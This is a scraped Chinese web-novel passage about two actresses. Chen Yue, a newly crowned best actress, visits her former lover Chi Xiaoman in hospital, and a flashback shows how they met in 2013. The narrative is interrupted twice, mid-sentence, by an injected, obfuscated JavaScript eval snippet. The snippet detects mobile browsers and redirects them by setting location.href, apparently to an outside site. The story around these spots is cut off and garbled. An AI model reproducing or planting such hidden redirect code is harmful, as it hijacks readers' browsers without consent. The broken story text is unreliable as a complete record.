陈樾天天戴一副墨绿厚板材的扁圆眼镜,一晒太阳皮肤就发红,但每次路过旧货市场,都会在烈日下逗留,花心思给迟小满淘上些稀奇古怪的东西。 而迟小满整天素面朝天去跑组,一到阴雨天就长湿疹,也总是担心身体不好总在半夜里咳嗽的陈樾沾上厨房呛人烟火气,每次炒菜都把陈樾推出去,却也每次下面都要偷着给她多卧个鸡蛋。 她们当时不问将来,义无反顾相爱,后来又不得不走向分手的结局。 甚至…… 还算是两次。 3. 「二零二三」 和陈樾到底有多久没有交集了? 迟小满记不太清。 但她记得。 她和陈樾分开九年,在这个圈子里本来有多次碰面机会。 但每次她都想尽办法躲掉,尽量不和陈樾出现在同一个场合。 原本她和陈樾路线不同,再加上陈樾也是个格外低调的性子,她们能碰见的公开场合其实并不多。 印象深的就是上次,她们凑巧碰上同一场颁奖礼。 迟小满想着至少得为那次发微博的事情给陈樾道个歉,便花了好几天时间提前做准备——不仅是时间协调上的准备,还有心理准备。 谁知那天,白天商务拍摄时间因为摄影师迟到而推迟,等她紧张兮兮地拖着礼服赶去现场,就听见那边陈樾领完奖赶去尼泊尔当志愿者的消息。 后来,陈樾这一去就是好几年没出现。 再有动静。 就是带着刚拿金像奖最佳女主的电影《周云的云》。 也再次。 和迟小满这堆破事再次撞了个满怀。 或许是一个活生生的人出现所带来的真实感,比一场夏夜暴雨,以及一场七八年前的老电影要强得多。 看着陈樾的脸在昏暗病房里变近,一点点变得清晰,那短暂而漫长的一秒钟,很多碎片被突兀地塞进迟小满的脑子里—— 二零一四年,夏,最后一次分手已经是在香港,临走之前,她还是给女人下一碗卧鸡蛋的挂面。而陈樾盯着这次依然卧了两个鸡蛋的挂面,对她说, “迟小满,祝你前程似锦。” 二零一三年,夏,车灯弥漫进车库,攒钱买来看电影的投影仪在旧得发黄的墙面上发着蓝光,她们看最新一届金像影后的获奖电影。 迟小满突发奇想,拿起投影仪遥控器当话筒,凑到陈樾下巴上,问她,影后,请问以后你的获奖感言里会不会有我? 陈樾用柔软手指刮她鼻尖,笑眯眯地对她说,那得看你到时候的表现了,大明星。 不到十五平米的地下室潮湿昏暗,永远晒不到阳光。 像这样的梦。 她们一起做过不知道多少次。 二零二三年。 北京医院顶层的VIP病房,等天一亮就是阳光普照。 电视机里的电影不知何时播映完毕。 陈樾在床尾的位置站定,和迟小满不近不远地对望,遥遥对她说, “我来探病。” 迟小满发愣。 或许是脑子里奔涌出来的碎片太多,像被切断的画片,一片片划过神经末梢。她看着近在咫尺的陈樾,差点就要脱口而出——探我? 但陈樾大概是不想她误会。 率先开口解释, “我朋友出了点事,在这个医院休养。” 迟小满把话吞了回去。 关于和陈樾再次面对面地交谈,这样的画面她设想过无数次。 但从没想过,会是她像一条被抽掉脊骨的鱼那样狼狈躺在病床上。 而陈樾站在床尾望她,脸上的表情看不清是怜惜还是疏离。 一时之间迟小满没缓过来。 她想要从床上撑坐起来,起码不要让陈樾一直用这种模糊不清的眼神看她。 但她这伤并不小。 人慌乱了也总会闹出点事。 手上刚用力,脖子上就传来一阵像针扎那般的刺痛。 迟小满瞬间疼得倒吸口凉气。 那边陈樾快速走过来, “你没事吧——” 她似乎是想要伸手过来扶她。 但那时。 迟小满自己已经强撑着在床头坐稳。 “我没事。”她吃力靠在床头。这是这么多年来,她对陈樾说的第一句话。 意识到这么多年过去,她们中间存着的隔阂太多,而这可能是在那些她故意蹭热度,在陈樾两次拿影后里都给她闹出麻烦事的事情里,唯一一次她表现良好的机会。 于是在这之后,她努力朝陈樾笑了笑, “就是没想到你还会上来看我。” 陈樾伸出来的手还悬在半空。 她停了一会,手指慢慢蜷缩回去,手也带回去,慢慢垂到腰边。 她停了一会。 大概是意识到自己整个影子都笼罩在迟小满上半身,便挪开了些。 “都在电梯里碰见了。” 陈樾退后两步,像刚刚一样在床尾望她,语速很慢。 又轻轻笑了笑, “都不上来看看,好像也不太对。” 陈樾就是这样一个人。 待人宽容,做事成熟,有分寸感,在场的时候总是让人如沐春风。 就连偶然碰上旧情人迟小满,总是抢她风头、也总是给她惹麻烦的迟小满,说的第一句话也不是怨怼和责怪。 “我……” 而迟小满躺在病床上的姿势显然不适用于重逢,她窘迫躺卧,斜仰着头,努力睁大眼睛,想看清陈樾的表情,却发现自己既无法躲避陈樾关切的视线,也无法分辨得清—— 在这个时候,她最想对陈樾说的,是上次颁奖典礼没来得及说上的“对不起”,还是刚刚在电梯里没找准机会去说的“谢谢”。 沉默中很多话堵在喉咙里。 她感觉到眼圈发热,手忙脚乱间十分苍白地说了句, “头发是发型师剪的。” “你要我把她的名片推给你吗?” 陈樾愣了一下。 话说出口,迟小满自己也惊惧。 想说的那么多,怎么偏偏就挑了这句?显得她还是当年二十出头那个没头没脑的,这么多年也没什么变化。 可话已出口。 再说什么于事无补。 迟小满局促揉紧早已发皱的床单。她不是个话少的人,这么多年在圈子里来来往往,也早就学会那些人情练达。 可这一切到了陈樾面前,怎么又都不作数了。 懊恼间想要再开口找补的时候—— 陈樾笑了。 她的笑声轻轻柔柔的。 像水流过,不疾不徐,似乎和从前相比没有什么变化。 笑完了。 她对她说, “迟小满,你怎么还是没有变?” 听不出是赞扬还是客套。 迟小满沉默,觉得自己应该否认,但她不讲话,也不敢肆无忌惮地将目光落到陈樾脸上,去仔细观察这么多年这个女人的变化。 尽管上次颁奖礼,北京大堵车,为了能大大方方给出那声“道歉”,急得下车礼服外面套着卫衣口罩,在冬夜如刀子般的冷风中跑了两公里路…… 最后蹲在路边冻得脸通红,得到陈樾出国消息的那个人,也是她。 可现在真见到陈樾活生生站在面前,迟小满反而神思恍惚,什么都不敢说。 她不讲话。 陈樾也没继续说。 她们分开九年。 时间已经比在一起多好几倍。 中间隔着那么多物是人非,谁也都不再熟悉 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“你是不是很痛?” 声音很低,“出这么多汗?” 迟小满愣住。 像是为了印证陈樾的话。 一颗汗珠从她眉尾滑落到眼梢,刺得她眼尾发痛,渐渐泛红。 她费力眨了眨眼睛缓解。 再次掀开眼皮。 便看见陈樾抬起的手悬在半空—— 眨眼的动作缓缓停下,咸涩汗珠从眼角滑落,沁到嘴角。 迟小满看着陈樾近在咫尺的脸。 觉得心悸,下意识躲开陈樾那双总是柔情似水的眼睛,也再次开口, “时间很晚了,你还是早点下去看你朋友吧。” 陈樾笑,“好。” 她收回手。 在旁边抽了张纸给她,说,“擦擦吧,汗水流进眼睛里会很不舒服。” “痛的话记得叫医生。” “不要忌讳吃药,也不要忍痛。” 她柔着声音,这样对迟小满说。 然后也真的转了身。 迟小满攥着陈樾送过来的纸巾,听着陈樾的脚步声渐行渐远。 是在陈樾快要踏出病房门之前,在迟小满意识到之前,她的目光就已经落到陈樾的背影上。然后她听到她自己的声音出现,对陈樾说, “恭喜啊。” 陈樾回头望她,“恭喜什么?” 迟小满也望她,或许是距离原因,她没像之前那样产生太多心悸。 而是变成又平日里那个能说会道的自己,对着陈樾笑, “影后。” 陈樾停了会。 也对她笑,“那我是不是也要说声恭喜?” “恭喜我?” 迟小满觉得意外,也觉得好笑,“我现在有什么值得恭喜的?” “不是要拍电影了吗?”陈樾说。 也站在病房门口看她很久。 久到迟小满恍惚间误以为陈樾不是在看现在的自己,而是在看一个从前闪闪发光的人。 然后听见陈樾再次轻声喊她, “大明星。” 4. 「二零二三」 印象中迟小满没有这么不爱说话。 二十出头的迟小满像是心头间烧着团永远不灭的火,天马行空爱做梦,整天风风火火叽叽喳喳个没完,像只什么都不怕的雏鸟,做事十分大胆。 可今天晚上,时隔多年未见面。 陈樾进她病房。 她基本有一大半时间都在昏睡。 没有像以前一样,即使是在睡梦中也第一时间发现陈樾在她身边,然后迷迷糊糊地半睁着眼过来亲她,一旦发现她身上是湿的,就会立马风风火火地拉着她起来,跑出去把房东偷摸拉下来的电闸推开,再回来拿着吹风给她吹干,吹透。 但今天。就算是在她醒来的十几分钟时间里,她和陈樾说的话不过寥寥几语,大多也都是她问她答,要么就是催她早点下去的客气话。 可能是因为受伤精力不济。 也可能是,她已经没有那么多话可以和陈樾讲。 不像二十岁的迟小满,连今天剧组盒饭里有几块肉,都要一粒一粒挑出来,整整齐齐摆在盒饭盖子上,数好有几粒给陈樾说。 因为那个时候还没用得起随拍随发的智能手机,便用自己半智能的按键机拍很多像素模糊的照片,留到晚上给陈樾看自己今天吃得有多好。 还会在晚上骑电瓶接她回家的时候,冲着夜风叽叽喳喳大喊今天那几块肉其实很咸,还有那个坏群头偷偷拿盒饭去卖给不懂的新群演被她一脚蹬破…… 也不知道这些话,都被现在的迟小满留给谁去讲。 或者是干脆不讲。 比起不讲,陈樾更宁愿是前者。 从病房出来。 陈樾接到助理小棋打过来的电话,“姐,你在哪儿呢?我过来接你。” “我在住院部,马上下来。” 陈樾路过走廊长窗,瞥见外面的天刚亮不久,语气里便带上歉意, “实在不好意思,还让你这么早找车过来接我。” “嘿,瞧你这说的。” 小棋是个伶俐的性子,年轻,语速快,“这不本来就我工作吗?” “而且谁敢让我们金像影后刚天亮就跑郊区打车啊?” “这个时间点车打不打得到都另说了,万一要被人拐了去我找哪要人啊?” 她语气里带了明显的高兴气。 这次拿了影后,高兴的不只是陈樾自己。 出道这么多年,她不喜出席公开活动,也基本不上综艺,除了有电影要上的时候,基本就是个失踪人口,定位也不是个有“星味”的。 几年来,也就这两次拿影后,她身边这些人才跟着热闹一阵。 况且这次电影定位不算商业片,票房却在这十多年出的文艺片里算是出奇的高,也算是给人人喊打的文艺片争了口气。现在她知名度因为这次拿奖打开不少,团队自然也一块跟着她高兴。 “行了,别嘚瑟。” 陈樾算是个处事小心的性子,但也不是非得在这时候灭自己人威风,便只是无奈地笑了一下,“小心开车吧。” “行。”小棋一口答应,“听金像影后的。” 车开到负一楼停车场。 上车之前。 陈樾看到小棋把窗户降下来。 便又特意停下来,在窗边温着声音说了句,“辛苦你了。” “没有的事,自己人客气啥?”小棋眼睛挺尖,“哎,姐你这衣服怎么淋湿了?” “从机场过来的时候下了场雨。” 陈樾上了车。 有些疲惫地靠在后座,“可能是那个时候淋湿了吧。” “那赶紧擦擦。” 小棋给她找了条毛巾过来,“我们金像影后可不能感冒。” 第三遍了。 陈樾接过毛巾,目光含笑地看着小棋。 “行。”小棋在嘴边做了个拉拉链的动作,“不说了。” 陈樾“嗯”了声。 拿着毛巾擦了擦肩后濡湿的那块。 又柔着声音说, “我也不是责怪你的意思,只是说多了总有不小心的时候。” “我们在这个圈子里,做事都得小心些。” “知道了,姐。”小棋老实应下。 她知道陈樾一向是个谨慎低调的性子,虽说平时相处起来总是笑眯眯的吧,可这人原则性还挺强,真要严肃起来,也怪吓人。 不过就这么做事周全一人。 竟然连夜从庆功宴现场跑了,这倒还真是个怪事。 看小棋是把话听进去的样子,陈樾也没说更多。 车慢慢开起来。 她把擦完被濡湿的毛巾叠起来。 放在一旁。 靠在车背,阖了一会眼。 又在疲倦中睁眼,打开手机。 消息很多。 从昨天夜里开始就没停过。 有恭喜,也有关心。 大部分都是经纪人沈茵发过来的,还有部分是导演、编剧,和剧组几个说得上话的同事。 昨天夜里,庆功宴刚开始。 陈樾拿起手机看了眼就往外跑。 还让这次请假回北京休息的助理小棋,帮她订了张最快到北京的机票。 这的确不像是她会做出来的事。 也正因为不像。 这么一跑,庆功宴在场不少人没忙着说她扫兴,都过来关心她,问她是不是出了什么事。还有的直接发来联系方式,说已经帮她找了人,要真是大事,万一北京这边要找人帮忙可以直接联系。 当然,这也是平时陈樾在剧组事事配合,有忙必帮的结果。 虽说那些消息热热闹闹,但陈樾也清楚——在这个圈子,无论是受了恩,还是受了仇,都是要还的。 这些消息她之前没顾得上回。 现在得了空。 陈樾纵然舟车劳顿,疲倦不堪,也是忍着倦意,一一回复这些关心,问候…… 也在剧组群里发了个大红包。 和一条长文字,为自己的提前离席道歉。 庆功宴大概也是忙了几轮。群里还有人在线,见她总算出现,便连忙问了句: 【出什么事了陈老师?头一次见你这么着急忙慌的。】 出什么事了? 陈樾盯着这行文字。 想起自己几个小时前看到的那段视频。 手心捂了捂酸痛的眼睛。 那是一段到现在都挂在热搜上的视频。 镜头摇摇晃晃,担架被血染红。 像素模糊,却依然看得清,躺在上面的女人皮肤惨白,满脸是血,头发上,领口上,手臂上也都是,左手手臂无力垂落在床沿,垂下截细瘦到像是被掰断伞架那般的手腕。 她从镜头前晃了一秒,就跟个断了线的风筝似的,被摇摇晃晃地推出。 也让陈樾从香港飞到北京。 陈樾缓缓松开捂紧眼睛的手心。她靠着车背,对着车窗外陌生街道发了一会怔。 她是有多久没回北京了? 才会对这些地方一点印象也没有。 看了一会。 陈樾倦懒收回目光。 发现群里又多了好几条问候的消息,便在群里回复: 【已经没事了,谢谢大家。】 这条消息一发。 小棋前面放在支架上的手机也响了下。 她瞥了眼屏幕 又从后视镜里过来瞥陈樾。 陈樾放下手机。 靠在车背上时却并不感到轻松。 天刚亮,有的地方还亮着灯,彻夜不眠的霓虹灯。她静静看着这些霓虹灯。 说不清楚自己想起的,是二十出头时和她在霓虹下接吻时总是会突然咯咯笑起来,说觉得自己此时此刻好幸福的迟小满。 还是刚刚躺在病床上,脸色苍白却还要强撑着不让她靠近她的迟小满。 “陈老师”。”出神间小棋的声音突然出现。 “嗯?” 陈樾抽出思绪,笑,“怎么了?” “你……” 小棋的语气带着几分犹豫和试探,“该不会是过来找迟老师的吧?” 被猜准目的。 陈樾也不恼,又轻轻笑了一下,“怎么会这么觉得?” “我是刚刚在停车场等你的时候……”小棋大着胆子继续往下说 “在群里看到有人说,迟老师好像也在这个医院。” “原来这样。”陈樾点点头,柔着声音,“是私人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506937|186112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群吧?” “是。”小棋点头。 她看陈樾面上没有恼怒的表情,便又大着胆子问, “你该不会是去找迟老师算账吧?” 其实从陈樾说要去医院开始,小棋就猜测到底出了什么事。她跟陈樾已经有几年,很清楚陈樾平时大部分时间在香港,家人在广东,在北京就压根没什么熟识的人。 除了些必要的工作,基本就不会怎么来北京。 到底是谁?到底出了什么事?能让陈樾推了庆功宴连夜飞到北京? 刚开始小棋还以为是出了什么大事。 但刚刚。 她看陈樾出来时脸上的表情,又不太像大事。 左思右想。 又看到说迟小满也在这家医院的消息。 这么一联想。 小棋觉得最有可能的就是陈樾看了热搜,看到自己被编排的那些消息,便终于忍不住要来找迟小满算账。 虽然这也挺不靠谱。 但却是小棋能想到最大的可能性。 只不过。 听到她这么问。 陈樾倒像是没反应过来一样,“算账?算什么账?” “嗯?”小棋也一愣, “难道你不是因为你和迟老师电影那个瓜来找她,让她们这边及时把事情说清楚的?” “我们没聊这件事。”陈樾回答很简洁。 那还能聊什么? 小棋差点脱口而出。 但她看陈樾表情似乎是不太想聊这件事,话到嘴边便换成了, “那迟老师真要转行拍电影?” 听到小棋这么问。 陈樾不可避免地回忆起刚刚她和迟小满分别时,迟小满脸上的表情—— 愣怔,惶然,沉默。 唯独没有否认。 这么多年。 迟小满还是一个样子,什么情绪都摆在脸上,宁愿不说话,也不说谎话。 “不太清楚。” 小棋虽说是个守口如瓶的。但陈樾也没擅自把自己的猜测说出口。 “那就是假的了。”小棋笃定。 “为什么这么说?” “这不明眼人都能看出来吗?就迟老师这腥风血雨的体质。” “这电影要真被拍出来,迟老师被嘲的点肯定又多了一个。” “你不相信她能拍好?” 陈樾这么问。 小棋一怔,“陈老师你相信啊?” 陈樾不讲话,低眼看着手机。 小棋琢磨一会,心想这话陈樾确实不好说,便给了个台阶, “其实这圈内,哎,别说圈内了吧,就算是你去问那些实打实喜欢迟老师的粉丝,也没有几个能斩钉截铁拍着胸脯说,迟老师肯定能拍出部好片的。” “再说了,陈老师,我们也是私下里说啊。我觉得你有时候也没必要这么体面。” “别的不说。” “就说这两天编你要去拍她电影这营销号,虽说舆论风评暂时都偏向我们这边,现在对我们来说倒无伤大雅,也确实可能和迟老师本人没什么关系。” “但和她那经纪人肯定脱不了干系。” 陈樾仍然不讲话。忙活了一个晚上,她没有在车上抓紧时间休息,反而是望着车窗外的街景,好像是在努力看些别人都不稀罕得去看的东西。 小棋也不知道她有没有听见。 只是这话开了口。 她想起来自家经纪人嘱咐她的事,便也继续说了下去, “我也就是一说哈,和迟老师本人无关。” “就算冲着她那手段高明的经纪人,我们都得离迟老师远点。” “没什么不相信的。”陈樾突然开口。 “什么?”小棋没反应过来。 静谧车厢里。 陈樾将目光从街景收回。 她好像已经十分疲惫,但还是坚持看向她的眼睛,声音很轻地重复, “没什么不相信的。” 于是在那个九十秒钟的红灯里,小棋意识到——陈樾是在回答她最开始的那个问题。她好像是真的相信迟小满能拍出好电影。 并且是在这件事爆出来后,唯一一个愿意相信的。 5. 「二零二三」 拿奖第二天,后续工作安排得紧。 经纪人发来消息,说今天已经有好几个采访安排在香港。 陈樾连夜从香港飞过来,只在医院逗留不到一个小时,就需要尽快赶去机场。 这也是她不得不打扰小棋让对方给她安排车的缘由。 时隔那么久回北京,算下来,只待了半天时间不到。 不过也是常态。这些年,每次回北京,陈樾向来步履匆匆,待不了多久。 车上。 陈樾闭了会眼,突然开口,“其实这件事应该也算是我的问题。” “哎?姐你说什么?”小棋忙着开车,可能没听清。 “没什么。”朝阳升起来,像蜘蛛织的网罩到陈樾脸上。 陈樾轻轻地说,“你专心开车。” “行。”小棋应下。 陈樾掀开眼皮。 望见那些仿佛被从她记忆中剖除的金黄街道,忽然想起来一件事—— 其实《霓虹》的剧本从来都不只迟小满一个人有。 二零一四年。 她们住在幸福路香水巷5号地下车库,对面楼上有个邻居,叫浪浪。 也就是《霓虹》的编剧浪浪。 她把《霓虹》整个本子分成一式两份,分别寄给她们两个。 这么多年陈樾没碰过这个本子。 直到前两天。 她才从一个熟识的制片人那里听说,迟小满打算自己拍电影。 久违地,陈樾想起《霓虹》。 便找了个时间把本子印出来,原本只是打算自己好好看看。 结果刚好碰上金像奖入围,身边跟她的狗仔不少。 那天她拿着剧本下车。 瞥见个闪光灯。 当时没在意。 现在回想起来,那爆料消息能把她们两个扯到一起。 也多半是她那天被拍到出了问题。 想到这里。 陈樾将目光从金灿灿街道上收回,她疲惫间阖了一会眼,再打开手机,热搜上的词条仍旧赫然在目—— #迟小满陈樾 #电影《霓虹》 说来是个稀奇事。 这也是这么久以来,她们的名字少见地并排在一起。 只可惜。 两次都算是个黑热搜。 陈樾怔了一会。 点进词条。 第一条微博还是那个爆料号。现在转发已经超过百万,而下面的评论不堪入目—— 【迟小满?拍电影?当导演?哈?疯了吗她?】 【碰瓷金像影后,还要自己当导演?迟小满她也配?】 【我说真的,迟小满你私下里给陈樾赔点钱吧。人两次拿影后本来蛮高兴,现在风头都被你抢了算个什么事?】 【上天保佑,希望人有事。】 …… 像这样的评论,这条微博下有无数条,比这更难听的多了去。 陈樾看了一会。 点出微博。 她垂着眼,往下滑了滑,一个竖屏拍摄的手机视频自动播放—— 夜里,像素模糊。 迟小满穿灰色卫衣戴兜帽。 脸和头都被盖住,只勉强露了点细瘦苍白的下巴出来。 她在路边上低头,匆匆往前走。 拍视频的人跟在她身后。 声线尖锐。 仿佛紧逼过去,还要活生生往人眼睛里扎的烫刀子—— “迟小满滚出娱乐圈!” “迟小满你抢角色上瘾了是吧?” “资源咖!你有本事抢人角色没本事说话?迟小满你没妈是吧!” 这句话出来。 迟小满的步子踉跄了一下。 拍视频的人迅速追上去扯她胳膊,把她扯得差点没能站稳。 但迟小满仍然是躲着镜头,手上也没多敢使力气去甩人,整条手腕都像只被踩瘪的小花儿那样被人死命拽着。 而镜头背后。 传出来的笑声又细又尖, “说你没妈就高兴了是吧——” 视频结束在这一秒—— 视频背后尖锐的笑声。 视频里,迟小满被攥得发红的手背,藏在兜帽阴影下的脸,那段时间瘦得几乎认不出的尖细下巴,从下巴上缓慢滑落下来的,一粒微弱的透明泪水。 视频播放完毕。 又开始从头开始,循环播放。 像素异常模糊,应该是很早期的视频。也看得出那个时候迟小满出道不久,身边没人护着,就这么被人追着谩骂着,堵了一路。 至于原因。陈樾那段时间在香港,也听说了一些。 原本只是个悬疑剧里一开头就死了的角色,戏份不多,也不太重要。 原定演员最开始嫌咖位低没接。 后来。 人选定了名不见经传、刚出道的迟小满。 偏偏剧播后,剧爆了。 这一开头就死的角色也爆了。 迟小满这个名字开始有了些热度,也多了不少人喜欢她,刚开始还夸她,说这新人演员演技不错,以前怎么没发现? 再过了一阵,这角色热度不知怎么超过主演,便有人含糊其辞爆出原定角色是个原本有不少粉丝基础的演员,于是这些声音也就多了出来。 现在亲眼看到这段视频。 陈樾不知道自己是否还有资格,去替迟小满感到委屈,心酸,苦闷,以及难过。 毕竟时间过去这么久,她想要心疼,想要带当时的迟小满离开那条路,离开那个直逼着她眼睛的镜头…… 却连这种想法都无法光明正大,更隔着好几年的时差。 况且做这一行这么久,陈樾也不是不明白,这些声音无法避免。 有时来自同行。 有时来自这个圈子里不知道什么时候结交的仇人。 甚至,还有可能是经纪团队自己故意运作的结果。 而更明白的是—— 或许现在的迟小满听到这些声音,看到这段视频,会比陈樾更无波澜。 手机锁屏。 映出陈樾看上去很冷静的脸。 她把手机放下。停了好一会,轻声细语发问, “你今天怎么总是看我?” 车在等红灯,前排的小棋愣了一下,“姐,你不是在看手机吗?这都被你发现了?” 陈樾不讲话。 刚下过暴雨,今天天气好,金灿灿的阳光落下来,她脸上皮肉薄,骨量重,光这么一打下来,就正好顺着她脸部轮廓往下流,红唇肤白,黑长发飘飘,跟拍电影似的。 特别是她现在看起来心情不佳,带点疲惫忧郁的美。 小棋看她,解释,“我就是觉得,你刚刚那话挺酷的。” “什么话?”陈樾像是没反应过来。 “就那句啊——” 小棋琢磨着陈樾的语气,依葫芦画瓢, “没什么不相信的。” 陈樾怔住。 “多酷啊。” 红灯停了。 小棋把车开起来, “尤其是被你一说,简直就跟电影台词似的。” “是吗?” 陈樾低眼。 风灌进来,她轻轻地说, “我也是跟别人学的。” - 【没……】 【没什么……】 病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在床上屏住呼吸,睁大眼睛,等着那人给她回复。 只是等了会都没动静。 想了想,她从帖子里滑出去。 也没敢点那种明显与她自己有关的小组,半眯着眼睛,小心翼翼地滑了几下,点了个和群演有关的。 里面有人分享整理剧组招人情况,也有人开贴分享自己北漂经历,还有个像是群头的,发了段十几秒的短视频链接。 迟小满好奇点进去。 猝不及防,看到一张她再熟悉不过的脸。 那是段很久远的采访,专门针对前些年在北京北漂的群演和替身。 视频后的人问,“你相信自己能成为一名好演员吗?” 视频里的女孩当时只有十九岁。 还没遇见陈樾,也还没搬进那间四百块一个月的地下车库。 那天她没化妆,不过好在还年轻,皮肤白透干净,就是头发没绑好,显得有点乱糟糟的。 因为当时迟小满是替身,刚替完一场被打的戏,冷水洗了把脸就被拉过来采访。 听到这个问题。 十九岁的迟小满先是愣了一下。 几秒过后。 她冲镜头咧开嘴笑,也用力点头, “嗯!” 一双眼睛笑成月牙,看起来却并不柔软,有很多倔强,坚信,仿佛笃定未来不会有任何坏事发生, “没什么不相信的。” 6. 「二零一三」 “没什么不相信的。” 二零一二年夏,迟小满十九岁。 当时,她冲镜头说完这句话,就笑眯眯地给镜头背后的采访记者弯腰鞠躬。 再起身。 她大大方方地跟人说, “姐姐,你要是有活记得下次还找我!” 再然后,她背着鼓鼓囊囊的包,从角落里勉强撑扶出那辆一百块从师姐手里收的、连后视镜都缺了块的二手电驴,跌跌撞撞地骑着赶回学校去上课。 结果车骑了十米不到。 她想起一事。 便又摇摇摆摆地骑回来,把安全帽上的护目镜往上一推。 下巴一挺。 对愣住的记者姐姐笑嘻嘻地说, “我叫迟小满。” “这附近群头都有我联系方式,什么活都可以叫我!” 这块是群演休息地,有熟识她的,听见这话笑出声, “哟?未来的大明星又在这说大话呢?” “我记得电瓶都是上礼拜刚学的吧?现在叫你立马演个飙车党能演吗?” 被人当面调侃,迟小满也不恼,“姐姐你别听他们的!” 她把护目镜推下来,“不会我可以学嘛。” 又歪歪扭扭地骑着电瓶往回开,在空中留下风风火火的一句, “我学东西最快了!” 这是迟小满来北京的第二年。 两年前,她十七岁,带着奶奶王爱梅放在枕头底下皱皱巴巴的两万块存折,和迟国庆在她脸上给的两个巴掌印,还有隔壁李阿姨给她新买的两个红格子款蛇皮袋,坐绿皮火车来北京,念很普通的一所大学,念当时她认为很高级的广告系。 之后两年。 她一边在学院里表演系蹭课。 一边向隔壁编导系借设备拍学院要求的参赛作品和短片。 还一边每天早上五点起来食堂打时薪四块五的工,对着每个来买早饭的同学笑脸相迎,等到十点人少,自己缩在碗柜后面,两三口狼吞虎咽完一个凉掉的包子,再心满意足去上课。 又一边趁课余时间在各大剧组辗转当群演,替身。 因为她没有钱去艺考,却有个不识好歹的明星梦。 遇见陈樾,是在她大学快要毕业的那一年。 二零一三。 北京很热,热到当时不少广播电台都在说——那可能是这个世纪以来最热的一个夏天。可后来,谁都知道那不是北京最热的夏天。 那个夏天。 迟小满打算从学校搬出来,为的是更方便去试镜试戏,也能在剧组里多学点东西。 印象中那一天也很热。 当时迟小满来北京三年。 没资本没人脉。 只在各大剧组辗转,还没演过一个正儿八经的角色。 还在给人当替身。 挨打的替身。 背上挨棍棒、脸上挨耳光、脖子遭绳勒喘不过气脸憋得通红的……替身。 大冬天穿几层沉甸甸棉服跳水的替身。 从二楼闭着眼睛往下跳的替身。 …… 当然。 不敬业的演员和剧组没那么多。 所以她的活也不多。 大部分时候。 她都是处在一个等活、不断试戏试镜,然后遭拒的状态。 那一天。 天气极端闷热,剧组人来人往。迟小满演完一场挨打的戏,蹲在地上,久久直不起腰来,头晕眼花得像是有人在自己脑子里拿着烫水搅…… 那段时间,大众对群演、替身的关注度没那么高。 剧组的生活,演员的生活,也不像十年后那么透明。 大部分剧组都是草台班子。 而在这些剧组里,当一个被扯过来挨打的替身,是没人会在她直不起腰的时候过来扶她的,只会让她赶快走,别挡主演镜头,也不会看她腰上、背上多几块淤青,就好心赔她医药费。 陈樾就是那个时候出现的。 当时迟小满疼得久久没从地上直起腰来,冷汗直冒,想晕过去一了百了,但她的身体大概比她脑子更坚强,不让她晕,她只好蹲在地上不停咽口水。 而场务见她一直在旁边不走,便开始不耐烦催促, “到底走不走啊你?” “走,马上就走!”迟小满虚弱回话。 她还指着这些人给她活干,没可能在这时候得罪人。 这么说着。 她脸色惨白,大汗淋漓,勉强用手撑着像云朵那样摇晃的地面。 直起腰来—— 结果还没站起来。 她背上就一阵撕裂般的剧痛传来,疼得她龇牙咧嘴。 “装什么装?” 那场务可能怕她讹钱。 语气很不耐烦,“快点行不行啊,” 甚至还上了手,打算过来拽她。 但迟小满就怕他上手一撵自己更站不起来。 下意识往后一退。 这一退。 她没站稳。 天旋地转间。 她表情惊恐,盯着在头顶上飘荡着那颗烈日,不由得叹口气。 心里想着还不如就这么晕过去算了。 但也就是在这个时候。 一双手安安稳稳扶住她。 天热,撑住她那双手是凉的,柔的,也是安安稳稳的。 “你没事吧?” 手的主人撑扶住她,等她站稳才松手。 然后也没急着走。 凑过来耐心观察她的表情,“要不要送你去医院?” “没事,没事。” 那天太阳好大,直射大地。 迟小满没看清面前这人的脸,但依稀看见,是个女的。 腰背上的痛仍在持续。 豆子那么大的冷汗从下颌流下,她扶着弯不下去的背,笑眯眯地跟人表达感谢,“谢谢,谢谢。” 女人没立刻说话。 她把她扶到旁边一条马扎凳上坐着,然后看了她一会。 “你等我一下吧。” 迟小满没反应过来。 但人家让她等。 她也没敢走。 一个人来北京,还想当演员。 她知道这是个梦。 也知道无论在什么剧组里,像自己这类的替身演员是最没话语权的。 就是不知道扶住她的那个女人是谁。 看情况应该和她不一样。 该不会看中她百折不挠的杂草模样,要喊她去拍戏吧? 迟小满龇牙咧嘴地做了会梦。 女人回来了。 她走到她旁边。 影子给她挡了点令人晕眩的烈日。 之后又特意半弯着腰跟她搭话,“疼得这么厉害,也不愿意去医院?” 我这点钱哪够去医院? 迟小满下意识就想这么说。 但刚张唇。 一个冰冰凉凉的东西被送到她腰边,贴在她痛处。 是个冰袋。 于是不知怎么。 迟小满那句“那不是白干一趟还要搭钱进去吗”也憋了回去。 她低头。 看那袋在惨白炎日下,冒着冰凉气的白冰袋,以及白冰袋上那双被融着湿漉漉的冰水,手指末梢和掌心都微微泛红的手。 可能是被头顶火炉晒得有点晕眩,也有点心悸。 迟小满忙着去把冰袋从女人手中接过来。 不知为何。 她没了之前在周围剧组接活时的伶俐,又只是干巴巴地说, “谢谢,谢谢。” 女人看她把冰块接下来。 也没继续和她说什么。 没硬要等她回答“为什么不去医院”。 她看她一会,柔着声音说, “冰块我那里还有。” “你放心用吧,不够再来找我。” 这人是什么活菩萨在普度众生吗? 迟小满愣怔抬头。 却陡然望见女人模糊不清的脸。 她躲了下目光,挠了下下巴,没太反应过来,也不知道自己该说什么。 